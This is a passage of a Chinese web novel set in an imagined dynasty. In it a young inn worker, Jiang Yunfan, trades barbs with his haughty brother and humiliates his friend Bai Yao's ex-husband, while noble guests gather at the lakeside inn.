他反反复复想了很久。
这世间确实存在那种所谓的天才,只经过很短的时间,便突然醒悟,完成自己以前无法完成的事。
但这一切都需要一个基础,如果从小到大对一门高深的学问一窍不通,那么就算他是天才,也绝不可能在寥寥数月的时间,在其中取得巨大的成果。
要知道,江云帆可是到十二岁都念不完一篇完整的文章。
就算他开窍了,写出了一首平仄分明、意境深远的好诗,哪怕这首诗的水平,足以与国经院那些修学十余载的资深学士的水平相媲美,那江元勤都认了。
可为什么,这一出手便如此惊人?
“桃花坞里桃花庵,桃花庵里桃花仙”,他是真把自己当神仙了,真就无所不能?
江元勤当然不信。
他能想到最好的解释,便是这首诗背后另有隐情,或许与江云帆的关系并不大。
所以他连夜起床赶回凌州,从家中找到了一些“证据”。
今日再访秋思客栈,江元勤带着这些证据来,就是要找到江云帆,将他的谎言彻底拆穿!
而他的运气不错,在刚踏入大门的那一刻,便远远看见江云帆忙碌的身影。
作为兄长,他依旧保持着足够的礼节,主动打招呼。
“三弟啊,这么久没见,你看着憔悴了不少。你说你,在此地辛勤务工,也不让人通知一声,我这当哥的怎么也得来看看你啊!”
阴阳怪气拉满。
江云帆闻言也不恼,放下手中活计,面上回以微笑:“二哥怕不是把我当镜子了?要说憔悴,我哪比得过你啊。看看,黑眼圈足有三层,面色苍黄,精神萎靡,若非昨夜失眠,那恐怕……就是得了绝症啊!”
“你……”
江元勤牙关一咬,面色当即变得阴沉起来。
他强忍下怒意,缓声道:“三弟,实在遗憾,我也是前几日回到凌州,才听闻你早已离家。其实三月前那件事……唉,你虽然有错,但好歹流着江家的血,阿公做的确实有点过了,若我当时在场,一定全力相劝,让你留在江家!”
诚然,马后炮想怎么说都可以,况且江云帆也清楚,对方巴不得自己从江家消失呢。
不过他倒也没有反驳江元勤,只抱着拳,满脸感动道:“多谢二哥关心,但好意我还是心领了。诚如二哥所言,既然你求情有用,那可千万留着下次自己要被逐出去的时候再用,切不可在我身上浪费!”
江元勤目光一寒。
哼,这江云帆果然是变了,翅膀变硬了,若换作以往,他岂敢在自己面前如此说话?
他倒想知道,是什么给了这小子勇气。
“还是先好好打你的杂吧,先来一壶特色热茶。”江元勤随手一挥,也没再跟江云帆装来装去,就这样找了处空桌坐下。
从现在开始,他打算给江云帆一个下马威,先让他认清自己的身份。
“小二,来一份早膳,记得均衡搭配,粥莫要太烫,更不能太稀,小菜少放些盐,餐具都记得清洗三次。”
江元勤就这样对着江云帆吆五喝六,也丝毫不给回应的机会。
早在很久以前,他对江云帆说话的态度便是如此了,且江云帆从来不会拒绝甚至抱怨,可谓言听计从。
然而这一次,江云帆却只微微一笑。
“抱歉啊二哥,咱家的早点已经售罄,茶叶也断供十天。“
说到此,江云帆望了一眼外面的天色,见烈日已然升腾,正当空而悬,“此刻已至晌午,你若实在腹空……倒不如出门直行,去城里看看那些店家还有无剩饭,或是去湖边捉两条鱼,临时充饥。”
“你……你是把我当乞丐了,还是当野人?”
“实不相瞒,二哥有点不太认清自己了。你当下的状态实在糟糕,恐怕……还不如乞丐野人。”
“……”
听到这话,江元勤顿时浑身一紧,双拳狠握。
“好,很好……”
他阴沉着脸,朝着江云帆点了几下头,随即迈步往不远处的一张空桌走去。
同时,嘴里还愤愤提醒道:“江云帆,别怪二哥没提醒你,有时候充大头没关系,但一定要在自己的可控范围内,倘若不受控制了,就只会反受其噬!你好好等着吧……”
江元勤此刻已经准备好了一切。
他知道自昨夜诗酒会上那首诗问世之后,今天乃至往后数日,这家小小的临湖客栈都会被踏破门槛。
而现在,只需要等待一个时机,等这客栈之中聚集更多有分量的文人学士。
到那时,就让昨晚出尽了风头的江云帆,原形毕露!
……
镜源县城,中门大道。
华茂客栈楼下,热闹非凡。
作为整个县城之中最为华贵奢侈的一家客栈,此处消费甚高,所接待的客人,多是自外地而来的达官显贵。
而吕氏一家作为久居京城的大家族,自然会毫不吝啬地入宿其中。
此刻二楼的雅居之内,一女子衣着华美,体态匀称,正于镜前梳妆。
其姿容,算不得美艳,倒也略胜平庸。
而在她的身后,站着一个男人,一身白衣,举止儒雅,正慢条斯理地为其盘发别钗。
女子满脸幸福,柔声道:“子钧,昨夜观完灯会,你说又有奇思,待今日拜见公婆之后,写与我看可好?”
“好。”男人也微微笑道,“幸有兰萱知我,方得一展才华,今生今世,我陈子钧所写的每一首词,都将是为你……”
“咚咚咚!”
陈子钧话还没说完,便被一阵突如其来的敲门声打断。
他只得强行将后半句咽下,神色也变得十分不悦。
精心准备了一番甜言蜜语,则一最佳时机,好不容易烘托情绪到位,却在念到一半时被人打断,这种感觉真的很让人心烦。
“这镜源当真是粗鄙之乡,就连这客栈小厮的礼节,都不及京城半分。”
陈子钧阴沉着脸,本来是想发火的,可在听到门外传来的声音时,嘴巴一抽,当即面露尴尬。
“姐姐!姐夫!”
“姐姐、姐夫快开门,有天大的事……”
第125章 闲杂人等让路
“小缘啊小缘,你说你为何不能为我带来一点缘呢?”
“小姐,我……我也不知道。”
石板路旁,跟在许灵嫣身边的小缘脸都苦了。
她很少有这样感到无辜过。
“唉……”
许灵嫣摇头叹息,没再多言。
可以说,在昨夜的镜源万灯节上,许灵嫣便是全城最忙碌的那一人。
她一直以来都秉承着一个观点,那便是无论从何处出发,只要足够努力,都能抵达既定的终局。
就像人的出生,哪怕一开始就错了,也只能影响未来需要努力的程度,而影响不了最终能达到的高度。
缘分也一样,无论与彦公子有多大的差距,有多大的不可能,就算从一开始便朝着不同的方向前行,许灵嫣也有信心通过努力来扭转道路。
所以昨晚她精心打扮,先是在明灯桥投下不计其数的花球,随后又是一番苦寻,从明灯街走到镜湖湾,又从镜湖湾走到花市口,最后更是乘着马车一路追船……
待她回到住所时,连腿都抬不动了。
但许灵嫣仍不后悔,因为在她看来,这一切都是她逆转缘分需要付出的代价。
所以今天她准时到这秋思客栈,打算忍着厌恶去面对江云帆那张脸,想办法问出自己想知道的答案。
而与她同行的,除了贴身侍女小缘之外,还有杨文炳和侯茂杰、徐坤两兄弟,以及半途遇到的京城公子哥程修齐。
此刻程少爷正舔着一张大方脸跟在许灵嫣身边,嘴里嘿嘿笑着:
“灵嫣小姐,昨夜那万灯节上,到底出了首什么惊天词曲啊,我是真想知道!”
他昨晚是随江元勤一同来参加秋思客栈的诗酒之邀了。
没能观成灯会,这本就是件遗憾之事。而后来听闻在歌舞会上,还出现了一首堪比镜湖文会那晚“东风夜放花千树”一般的惊艳之作,他更是深感惋惜。
早知道就去了!
虽然在秋思客栈里,同样见证了那首《桃花庵歌》的诞生,可那首诗是用来打江元勤脸的,恰好连带着他也一起给打了。
“灵嫣小姐,你就告诉我吧!”
那首词曲是昨晚深夜现世的,今晨尚未完全传播开来。
但许灵嫣哪有心思搭理程修齐,此刻她也注意到道路远处那两个熟悉的身影,一时心生警觉。
双方相向而行,在通往秋思客栈大门的岔路口同时停下脚步。
齐之瑶微微一笑:“这么快就又见面了,许小姐当真是穷追不舍呢。”
“齐小姐又何尝不是执着坚持呢?”
许灵嫣嘴角挂着几分自得,将修长的双臂抱在怀中。
她承认,论美貌,自己确实比不过秦七汐。但此刻秦七汐不在,而自己与齐之瑶带来的北境女子相比,并无劣势。
况且,今日她虽不似昨晚那般打扮艳丽,却也依旧一袭红裙,比对方华美不少。
一时之间,双方在路口处僵持不前。
其实通往客栈的道路足够宽敞,就算几人一起通过也不会拥挤。
但她们都想要先行。
那样既意味着胜出,又可以率先见到想见的人。
只是碍于贵族的体面,谁都不会争先恐后往里冲,那样实在狼狈滑稽。
双方就这样对峙了许久,直到一阵急促的马蹄声忽然自远处响起,紧随而来的便是一道高声呼喊:
“京城东云伯吕家出行,闲杂人等速速让开道路!”
一群人转头看去,只见此处通往县城的大道上,一驾高头马车疾驰而来。
马上车夫自信十足,直到车头相距许灵嫣与齐之瑶等人仅有二十步之遥时,才堪堪勒住马绳。
紧接着,车帘打开,一行四人相继从车上走下。
一位雍容华贵的女子,一位身着白色长衫的男子,还有两名模样稚嫩的小生。
那白色长衫的男子见众人在路口相堵,便主动上前,神色儒雅地一笑:“诸位,我乃京城东云伯府姑爷,陈子钧,今日有要事到此客栈,各位且让个路,供我等通行。”
“让路?”
许灵嫣身后,程修齐一脸嗤笑,低声嘀咕了一句:“这小子,莫非当一个东云伯,真是什么人物了?”
实在是笑话。
程修齐在京城倒是听闻过东云伯吕家。虽说以他程家的地位势力,或许真得让其三分,毕竟对方是由陛下亲自册封。
但在场的许灵嫣和齐之瑶,其背后的尚书府与侯府,哪一个不是让吕家望而不及的存在?
叫她们让路?
怕不是胆儿太肥!
陈子钧自然不知道眼前两位姿容美艳的女子,会有如此惊人的身份。
毕竟这里是镜源县,穷乡僻壤,他根本就没想过,这种地方能出现什么大人物。
反正以他东云伯府姑爷的身份,在此地叫谁让路都不算过分。
然而让他没想到的是,跟在那红裙女子身旁的丫鬟,只冷冷瞥了他一眼:“你们难道属螃蟹,这么宽的路走不了?”
“你……”
陈子钧一时气结。
诚然,这路口不算小,足供五六人同时通行。
但面前几位女子恰好站在路中央,他们若要过,就只能走道路两侧的边缘。
自从陈子钧入赘吕家之后,每每与吕兰萱出行,即便是在京城,也基本都会有人给他们清开正道,何时绕过边角旮旯?
现在倒有意思,来了镜源这小地方,却还得绕道了。
陈子钧自然不乐意,正欲开口理论,却忽然感觉有人拉了一下自己的衣袖。
“别耽误时间了子钧,弟弟拜师要紧,咱们绕过去吧。”
“……好。”
吕兰萱发话了,陈子钧自然不敢再多言,只得带头从路口一侧的石板边缘小心绕过。
……
四人进去后,许灵嫣与齐之瑶的对峙也到了尾声。
最后是齐之瑶主动开口打破了平静:
“开门见山吧许小姐,你与江公子纠葛颇深,而我与翩翩此番前来,仅仅只是想问他一个问题,耽搁不了多长时间。我只让翩翩一人先进去,待她问完,便不再打扰许小姐。”
“既然齐小姐坦诚,那我也开门见山。”
许灵嫣满脸傲然道,“实话实说,我瞧不上江云帆,更不可能要他的人。眼下让你们先行,待聊完后,便不再打扰我谈事,如何?”
“没问题!”
约定达成,齐之瑶暂时获得先机。
她自然没问题。
其实当下这种情况,谁先走谁后走并不重要,重要的是双方现在都需要一个台阶下。
“翩翩。”
齐之瑶朝翩翩使了个眼色,后者迈动脚步,正欲踏上通往客栈的小路。
身后却突然又响起一阵马蹄声。
翩翩顿时眉头一皱,转头看去。
只见远处的沿湖路上,几辆外观恢宏的马车陆续而来,而在最前方的头马背上,正插着一面随风飘飞的旗帜。
在那旗帜之上,赫然印着一道九龙纹……
第126章 你居然敢打我?
“呃啊——!”
痛呼声瞬间传遍整个客栈后堂。
陈子钧连忙抽回手,只觉得掌心好似有千万根针正在扎弄,痛得手臂微微颤抖。
连忙低头一看,却见皮肤上已经被烫起了水泡。
“你疯了吗?胆敢伤我!”
他当即满脸怒色,恶狠狠地瞪着眼前那名模样年轻、身穿杂工服的短发男子。
就在刚才,陈子钧眼看就要接近白瑶,并一把将其揽回之时,正是这个家伙恰到好处地递来了那根黑里透红的木棍子。
伸出去的手已然收不住,只得任由其狠狠抓上去。
果不其然,那棍子就是厨房用的烧火棍,这会已经不知在灶中拨弄了多久,棍头上都烧得发亮了。
这一抓,与直接抓在火上并无区别。
得亏他立马松开,否则今日这手怕是要不保了。
“公子可莫要血口喷人啊!”
就在这时,站在白瑶旁边,手举烧火棍的江少爷一脸严肃道,“在场可是有人看见的,我拿烧火棍是去浸水熄火,而你是自己抓上来的……是吧?王婶林叔!”
“对对,我可以作证。”
后厨的老林和负责择菜的王婶儿立马点头附和。
江云帆摇头一笑:“所以啊,提醒一下这位公子,莫伸手,伸手必遭殃!”
“你……”
陈子钧气得咬牙切齿。
但他也拿对方没办法,若换作以往还好,无论你找什么理由,以我吕家大姑爷的身份,想对付你就对付你。
可今日是来此寻找高人的,在吕家两位少爷的大事面前,他还是得稍微收敛些。
倒是刚才这一烫,也让陈子钧清醒了不少。
诚然,如今的白瑶确实和以往不一样了,比以往漂亮不少,也成熟不少,但她自始至终都是镜源这偏远之地的一介民女。
就算拼尽全力,能提供给他的帮助,也不过几两碎银,如何与吕兰萱相比?
“咳咳……”
想到这,陈子钧清了清嗓子,一脸正色地看向白瑶:“白瑶,今日相遇实属巧合,你我早已分道扬镳,往后还是不要互相纠缠的好。”
“?”
白瑶人都呆住了。
刚才明明是对方拦着不让自己离开,还口口声声称有话要讲,结果现在却倒打一耙,指责是自己纠缠他?
她也是没想到,自己这个前夫,居然能吐出这样话来!
一旁的江云帆更是听笑了:“佩服佩服,阁下还真是把不要脸表现到了极致啊!”
这会江少爷早已清楚,眼前这个满脸道貌岸然的家伙,就是当初抛弃白瑶的那个渣男。
刚才见对方追逐白瑶,他是故意拿了烧火棍前来拦截,结果十分精准。
不过被嘲讽了,陈子钧也不恼,只扬着下巴道:“本公子不屑与你们争论,今日来此是有大事要办,方才的伤,我暂且放过你们。”
说着,他又冷冷看向白瑶:“至于你,白瑶,当初不知检点,也莫要怪我绝……”
“啪!”
陈子钧话还没说完,便感觉脑袋一阵闷响,脸上传来火辣辣的疼。
懵了好一会,这才回过神来,捂住脸怒喝:“你居然敢打我?”
“啪!”
江云帆手起掌落,又是一巴掌呼在他另一侧脸上。
“嘴贱,打的就是你!”
这下陈子钧彻底呆住了。
他瞪大眼睛,只觉得用两只手捂两边脸的动作太过滑稽,于是仅用一只手来回捂。
嘴里更是连忙冲着江云帆大吼:“小子,你知道我是谁吗!”
江少爷哪管你是谁。
他只知道,白瑶所受过的所有苦,靠这几个巴掌根本就不够还。
于是他直接扬起了手中的烧火棍。
陈子钧见状,吓得连连往外退:“好,很好,你死定了小子,我告诉你,你今日死定了!”
只一眨眼,他便跑回了外堂。
看着他那狼狈模样,白瑶心中快意盎然,但还是不免有些担忧。
“小帆,要不……你还是先去躲一躲吧,陈子钧背后势力强大,要是调来人马寻仇,恐怕很麻烦。”
白瑶真的很怕陈子钧。
一年前的阴影,直到现在都还缠绕着她,她知道那些大人物只需要动动手指,就能让她永远背负骂名活着,而且根本无法反抗。
而现在,对方想要伤害江云帆,同样轻而易举。
想到这她拉了拉江云帆的手臂,想要把他往后院拖。
然而江云帆则稍稍用力,反将她拉了回来。
“瑶姐别急,你看这不是写着吗?”他伸手指着门口的牌示,上面正写着一行字,“‘后厨重地,客人止步’,谁不知道厨房有火、有刀?他非得自己闯进来,出了事,就算上官府也告不着我。”
“可是……唉。”
白瑶叹了口气,“官府不会管谁是谁非,更不会在乎我们这些平头老百姓,谁有权力,他们就听谁的。”
江云帆依旧不为所动:“我不信这大乾,就没有个青天白日了?”
当然没有!
这话也就是说给白瑶听听而已,其实江云帆心里清楚得很,在封建时代,无论哪一个社稷,哪一个王朝,什么律法规则,不过都是用来保护贵族的工具。
要想打赢官司,除非势力比对方更大!
而他之所以敢挺身而出,上来就招呼陈子钧两个巴掌。
其一,是因为白瑶这口恶气,他是早就想出了!
其二,则是他赌对方没有胆量再来第二次。
江云帆太了解这种道貌岸然,投机取巧的人了。或许调人前来寻仇,对于陈子钧来说不算难事,但要如何瞒过自己的老婆呢?
一旦被吕家人发现有白瑶的存在,恐怕就不是一件小事了。
“那行吧。”
尽管心中依旧担忧,但白瑶也知道说服不了江云帆。
索性暂时将这事抛诸脑后,转而说道:“小帆……刚才,谢谢你。”
此刻她的心里百味陈杂,说不出那到底是什么滋味。
其实这一年以来,白瑶都以为自己已经什么都不在乎了,不在乎名誉,不在乎脸面,更不在乎自己的喜怒哀乐。
但就在刚才江云帆动手打陈子钧的时候,她突然觉得好委屈。
是啊,明明就不是她的错,凭什么要让她背负骂名?凭什么要让她承受这么多?
这公平吗?
当然不公平,但从来没有人为她声张正义,更不会有人为她挺身而出,她除了独自承受别无他法。
但今天,第一次有人为她出头。
这种感觉,就好似被人丢在镜湖之上的一艘小船,漂啊漂,终于漂到了岸边。这时有一个人,牢牢牵住了它的船绳……
于是乎,熟媚御姐此刻眼波流转,抬头望着江云帆,眶中似有水珠盘旋。
江云帆闻声转头,立马便对上了白瑶那满是柔情的目光。
糟糕,瑶姐又出问题了!
江少爷只觉得白瑶抓住自己手臂的那只手掌,此刻滚烫得吓人!
他当即正了正脸色,沉声道:“说什么谢呢瑶姐,我靠你吃饭,还不得为你解忧?”
“那是不是所有的忧,你都能帮我解?”
这一刻,白瑶的声音软软,已然酥到了骨子里。
江云帆暗道不妙,这御姐太能勾人了!
“那什么……我去帮滢滢洗碗!”
方才打人时还威风凛凛的江少爷,此刻灰溜溜逃往后院,极为狼狈。
白瑶望着他的背影,眼中温柔不减。
其实她并没有太多的所求,即便只和江云帆守着这小小的客栈,过好当下平静的日子,那便一切都足够了。
只要,不会有能够打破这份平静的人,突然出现……
……
“老师昨晚在此参加诗酒会,可有特别的见闻?”
秋思客栈外,大道旁,来自王府的马车队相继在路口处停下。
走在第二位的车轿中,秦七汐坐于窗边,抬手翻起窗帘,一眼便看见远处屹立林中的客栈。
此刻她正一身儒袍,长发被高高盘起,藏于帽中,原本傲人的曲线,也通过某些特殊的手段收缩了不少。
那倾国倾城的绝美郡主,又一次变成了俊俏小书童。
这辆马车乘了三人,秦七汐对面是随行的青璇,侧边主位则是一脸圆润的沈远修。
“特别见闻?”
见秦七汐发问,沈远修当即面色严肃,眉头深锁。
特别的见闻,那自然有,而且还不止一个。
由江公子小妹念出的那首《桃花庵歌》,毫无疑问,很特别。
特别到古往今来,还从未有哪首诗歌曾用过与之类似的抒写方式,这首诗显然是开创了新的诗风!
但更特别的,还是人。
昨夜湖边,那个醉酒发疯的老家伙,此刻依旧在他脑海中清晰无比。
故人再见,一切安好,此乃幸事。
或许对于郡主而言,她应该很希望能听到这个消息吧?
但沈远修在喉头缓和了一番,最终还是将那一席话全部咽回了腹中。
他希望有些秘密,郡主最好永远都不要知道。
思及此,他便转移了话题:“倒是有件特别的事,与江公子有关,郡主想听吗?”
“嗯。”
秦七汐连忙点了下头,一双大眼扑闪扑闪。
可谁知,沈远修却忽然冷哼一声:“想听啊?那你亲自去问不就成了吗,听说昨晚有人可是相约江公子一起散步了呐!”
十足的阴阳怪气,说得秦七汐顿时俏脸通红。
诚然,沈远修昨晚和秦七汐约好一同来见江云帆,结果江云帆没见着,这关门弟子又放了他的鸽子。
关键后来得知,这两人居然在万灯节上相会了!
沈远修可气得不轻。
把他当什么了?难不成他堂堂“江南双杰”之一的归雁先生,是什么和善脾气?
你俩不是走的近吗?那自己去问呗,我就不说!
沈大儒倒是傲娇。
可见秦七汐这副模样,他心中也不禁有些感慨。
要知道,他可是看着郡主长大的。
这孩子的心思从小异于常人,无论遇到什么事,都是波澜不惊,冷着一张脸,好似一切都与自己无关。
可今日,却破天荒的红了脸。
看来这江公子的魔力,还真是不一般呐!
不过这会儿,小郡主已经把秀眉皱了起来。
昨晚的是,也不知是谁报了信,竟这么快就传到了老师耳朵里。
她缓缓将目光投向对面的青璇。
小青吓得双眼一瞪,急忙摆手摇头:“不是我啊……”
“罢了,我自己去问就是。”
郡主殿下明显是有些不自在了。
她随口说了一句,便率先打开车帘走了下去。
这会马车已停稳,一品高手严横也带着一列高手在附近落脚,做好万全的保护。
秦七汐本想径直去那秋思客栈,却见前方的路口处,正聚集着不少人。没办法,为隐藏身份,她只得停下脚步,等着沈远修下车先行,扮演好自己的小书童。
而此时此刻,在齐之瑶的示意下,一直等在路口的翩翩也终于见到了车上来者。
第127章 原来他就在秋思客栈
在跌跌撞撞跑出厨房后,陈子钧并没有立刻去到前堂。
他在墙边的拐角处,找了张小桌坐了一会,一边在嘴里狠狠咒骂江云帆,一边静待脸上的巴掌印消散。
可恶!
他可是堂堂东云伯府的姑爷,就算在京城,那也算得上有头有脸的人物,十里街坊,哪个见了他不得和颜悦色?
结果回到这小小的镜源县,还反而挨了两巴掌。
陈子钧心里已经恨死刚才那小子了!
面颊处传来火辣辣的疼,但他依旧不能轻易出去,以免让吕兰萱看见自己这副面貌。
原因无它,对方一旦见他受伤,就必然会刨根问底。
自己当然不能领着吕兰萱去向白瑶找回场子!
在他的人生规划当中,允许有无数种意外发生,但一定不包括让吕兰萱和白瑶两人碰面。
即便是当初下令对付白家,都是他借着东云伯的帮助,背着吕兰萱偷偷做的。
若是让吕兰萱知晓他曾经有过一个妻子,那就一切都完了。
“呼……”
时间过去半晌,待到陈子钧感觉脸上的痛感减轻了不少,这才起身步入前堂。
然而,他刚一走过转角,便看见远处窗边,吕兰萱选中的客桌旁,多了一名衣着华贵的男子。
两人有说有笑,相谈甚欢。
吕文睿和吕尚明不知跑哪去了,桌边就他们两人。那男子一脸温文尔雅,也不知说了些什么,逗得吕兰萱花枝乱颤。
见此一幕,陈子钧当即神色一黯,面如猪肝。
耐着心中不悦,他默不作声地走了过去,就这么杵在吕兰萱身后。
“兰萱可还记得程修齐?”
对面的男子似乎并未注意到他的到来,嘴上依旧没停,“那小子本就脸大,有一次还顶着一张乌龟图,惊得先生脸都黑了!”
“记得记得,那乌龟图好像就是你画的吧?你那时候可真坏!”
这会吕兰萱笑得更开心了,声若银铃,眉眼弯弯。
陈子钧用力清了下嗓子:“咳咳……”
桌边的两人顿时一愣。
随即同时抬头看来,吕兰萱脸上的笑容立刻收敛了几分。
接着尴尬一笑,开口道:“子钧你回来得正好。来我跟你介绍一下,这位是我在国子院时期的同窗,也是当朝二甲进士,江元勤公子。”
陈子钧眉头微微一皱。
当朝二甲进士?
他再细看江元勤,心中不禁感慨,看来对方属实有些本事,高中及第,那前途必然是一片光明了。
这种人,似乎不便得罪。
想到这,陈子钧嘴角很快便浮现出一抹笑容:“原来是江公子,时常听兰萱提起,今日一见,果然才貌非凡!”
“陈兄过奖了,我方才也听兰萱说了,你二人情投意合结为连理,恭喜恭喜!”
江元勤站起身,与陈子钧相互行礼。
他本是笑脸相迎,但很快便注意到陈子钧脸上的数道红印,忍不住皱眉询问:“陈兄的脸,这是……”
听到这话,吕兰萱也连忙仰头来看。
陈子钧当即一愣,心中暗暗叫遭。
麻烦了。
都怪刚才那可恶的小子打得太狠,估计这会那两道五指印依旧清晰无比,那哪是休息片刻就能消散的?
就在这紧急之时,陈子钧忽然灵机一动。
“唉……”
他摇了摇头,一脸嫌恶道,“江公子你是不知道,镜源县这地儿穷乡僻壤,水域繁多,那蚊虫是又大又毒,还不怕驱赶,要不是我狠拍这两巴掌啊,今儿个恐怕得肿大包了。”
“原来如此。”江元勤附和着一笑,“陈兄对自己下手,还是应当稍稍柔和一点。”
那样的巴掌印,任谁都看得出来是被人打了。
不过江元勤心里也清楚,这种情况下,应该适当给对方留一些脸面。
“多谢江公子关心了。”
陈子钧松了口气,连忙点头客套。
其实吕兰萱也看出了端倪。
尽管心有不悦,但她也没有就着这个话题继续聊下去,毕竟说的越多,越丢人。
她挪了一下旁边的凳子,示意陈子钧坐下。
“你方才说去寻觅高人,可有结果?”
陈子钧摇头:“这客栈不大,我四下找了个遍,并未发现符合特征之人。”
其实他打心底就不相信,这样一个小地方,能出什么大才。
“那可如何是好?好不容易遇到文睿和向明都认可的人,若不能拜师,恐回去之后大家都免不了父亲的责罚。”
“兰萱不要着急,咱们不是还要去怀南城吗?那里名士繁多,一定能寻到合适的。现在不如先行离开,去把正事办完,也好快些动身。”
陈子钧现在一刻也不想在这多待。
因为停留的时间越久,风险便也越大。
“几位客官。”
恰在此时,一道让他忍不住心悸的声音,忽然自身后响起,“这是你们的茶饮。”
陈子钧身体一震,转头看去。
果然见那身着杂工服的短发青年,此刻正站在自己身后,脸上带着几分笑意,手里正端着一张茶盘。
他当即脸色大变,眉头深深皱起。
这小子好生可恶啊!
自己明明已经暂且放过了他,结果他倒好,非但不惧,竟还追到了这里!
这要是让吕兰萱知道了白瑶的存在,岂不是害死了他?
念及此,陈子钧赶紧把将视线投向远处,装作与对方不认识。
“放下吧。”
这时吕兰萱招手示意。
江云帆迈步走上前去,从茶盘中取出茶壶,放在桌上,并为三人一一摆好茶盏。
可就在他转身准备离开,而陈子钧松了一口气时,坐在对面的江元勤却冷不防地开口:“等等!……你这就打算走了?“
江云帆驻足回头,神色平常:“不走,难道要陪你喝一壶?”
“当然是为我们倒茶了!”
江元勤扬起下巴,嘴角抬高,冷声道,“作为这家客栈的小杂工,你难道是想让客人自己动手?”
“……”
此话一出,空气顿时一滞。
江云帆当然知道,这家伙是故意想要羞辱他。
若真的妥协了,对方只会变本加厉,挑更多的理由来找事。
而一旁的陈子钧在听到这话时,则缓缓瞪大双眼,目光了闪过一丝灵光。
难不成,江元勤和这小杂工之间,有过节?
那真是天助我也!
“没错!”
有了共同战线的人,陈子钧立马变得嚣张了不少,“若连倒一杯茶都需要客人亲自动手,那你们这客栈,我看也没必要再开下去了。”
吕兰萱此刻满脑子疑问。
她也不知道为何,一向大度的江元勤和陈子钧,为何会突然难为一个小杂工。
正当此时,远处的拐角处,突然出现两道年轻的身影。
他们抬头看向这边,当即面露喜色,大声喊道:“先生!”
先生?
听到这声音,几人连忙转头看过去,发现正是吕文睿和吕向明两兄弟。
两人飞速迈步冲过来,并在江云帆跟前停留,随后同时弯腰鞠躬:“先生,我们把阿姐叫来了!您若有什么需要,尽管向她提!”
“这……”
吕兰萱当即皱紧眉头。
她将目光缓缓挪移到江云帆身上,心中疑惑万千。
眼前这个除了长相颇为俊逸之外,一切都平常普通的客栈小二,居然就是文睿和向明口中所说的,那位在湖畔弹奏仙乐,吟唱绝词的高人隐士?
未免也太年轻了!
可若真是如此,方才陈子钧还跟着江元勤一起为难对方,岂不是犯了大错!
一时间,她只觉得内心一紧,有种不好的预感升起。
然而此刻,对于陈子钧来说才是天降惊雷。
他在一瞬间瞪圆了双眼。
大脑一片空白,一股彻寒的凉意,自心底升腾而上,直冲脑门。
难道说……方才动手打他,那个嚣张跋扈的小子,竟然就是吕文睿和吕向明口中的高人?
这怎么可能?
陈子钧突然想起来了!
先前吕文睿说过,他们所遇到的那位世外高人,正是这秋思客栈之中的一名小杂工。
说到高人,自然会联想到一副仙风道骨,姿态傲然的形象。就算是杂工,那年纪也一定不会太小,毕竟阅历疏浅之人,如何做得高人?
可眼下的事实却是,这个家伙,居然正是他们此行要找的对象!
完了……
倘若吕家两兄弟真要拜对方为师,那他和白瑶的事,铁定瞒不了吕兰萱。
这下真的完了!
陈子钧只感觉自己的内心,从里到外彻底凉透了……
煎熬的时间持续良久。
直到意外陡然发生。
只见客堂通往后厨的入口,那一袭紫色襦裙打扮的曼妙身影,忽然映入众人眼帘。
是白瑶!
刹那间,陈子钧整个人绷紧,心也提到嗓子眼。
……但万幸,白瑶的目光自始至终都没有落在他身上,只在人群中锁定那小杂工。
“小帆,有人从后院来,说要找你。”
江云帆闻言,转头回答:“知道了瑶姐,我马上来。”
说罢,再度将目光落在江元勤脸上。
接着迈步走近,当着对方的面,将桌上未动的茶壶,又重新收回了茶盘里。
“喝个免费的茶还要求服务,朋友,你要找存在感,未免戏太多。”
“你……”
诚然,秋思客栈惯例,每当桌边有客人落座时,都会为其送上一壶免费的淡茶。
江元勤这是来第二次了,自然知晓这一点。
所以眼睁睁看着江云帆又把茶收了回去,甚至还出言怼自己,他心里不服,却又根本无从反驳。
这是江云帆与陈子钧擦肩而过,冷冷的目光微微一扫,看得后者内心剧颤。
好在江云帆又把视线放在了吕家两兄弟身上:“至于二位公子,你们要找我谈事,那便等我忙完之后吧。”
“好,我二人就在此处恭候先生!”
吕文睿和吕向明朝着江云帆恭敬抱拳,满脸写满了兴奋。
诚然,只要先生愿意谈,那么一切都好说。
江云帆离开后,吕兰萱示意两兄弟落座。
陈子钧立马开口提醒:“文睿向明,此人一看便是粗鄙凡夫,怎会是那世外高人,你们千万别被人蒙蔽了双眼啊!”
说着,他又扭头看向吕兰萱,“兰萱,不然我们还是早些离开吧,留在此处,或许只会受骗。”
吕兰萱并未回应。
而是开口向吕文睿和吕向明确认:“刚才那位年轻公子,真是你们所说的高人?”
“千真万确!”
第128章 去湖边整点薯条
情到此刻,激动万分。
杨文炳腾地一下从木凳上站了起来。
他也不知该如何形容自己内心的想法,只把那激动化作一句呼喊:
“……彦兄!”
好一个彦兄!
江云帆扭头就走,丝毫不予停留。
他当然也看清了来者是谁,若早知如此,他就偷偷在远处观望一眼,见势不妙直接开溜,哪能给对方逮住自己的机会?
但他现在倒是想走了,可杨文炳哪里还肯给机会?
怎么说也是武将世家,从小就有练过,那脚步跑起来都快产生虚影了,追上步行的江云帆也不过片刻。
“彦兄!”
在追上江云帆后,杨文炳一把抓住他的衣袖。
“彦兄,没想到今日还能遇见你,实在是万幸!”
“啊哈,万幸万幸……”
江云帆皮笑肉不笑地点着头。
心说你没想到,难道我就想到了吗?
昨夜万灯节上,江少爷我费尽心机,好不容易才把你给甩掉,结果倒好,消停了一晚上,今天居然直接追到了秋思客栈来!
咋的,就偏偏不让人安生呗?
不过杨文炳哪里晓得江云帆内心有这么多想法。
他只知道自己此刻心情激动,大有一种失去了重要的东西,又重新找回来的感觉。
所以他抓江云帆衣袖的手死死攥住,似乎生怕人跑了。
“彦兄,你眼下可有闲暇,不如坐下聊上两句?”
“……”
江云帆颇为无奈。
他自然想要拒绝,但目前已经被对方发现,就算他拒绝,杨文炳也不可能善罢甘休。
与其走到哪让对方跟到哪,倒不如坐下来慢慢扯。
“聊吧,这样……杨兄稍待片刻,我去拿点东西,咱们到湖边整点薯条。”
“(?_??)”
鼠……鼠条?
闻此一语,杨文炳不禁皱紧眉头,心中一阵恶寒。
何为鼠条?
很显然,就外形而言,那指的自然就是老鼠的尾巴,又或是将那老鼠肢解,然后加工成条。
整鼠条,如何整?
不清楚。
但杨文炳确实想不到,身负惊世之才的彦公子,竟然会有这样怪异的爱好。
这实在是让人……难以理解。
当然,他倒不至于出手阻止,只看着江云帆迈步走进了秋思客栈的厨房。
不一会,拿出一个颜色绯红,表面光滑,他说不出名字,且从未见过的奇怪物件。看那东西从空气中划过的样子,轻飘飘的,其内部似乎是空心的存在。
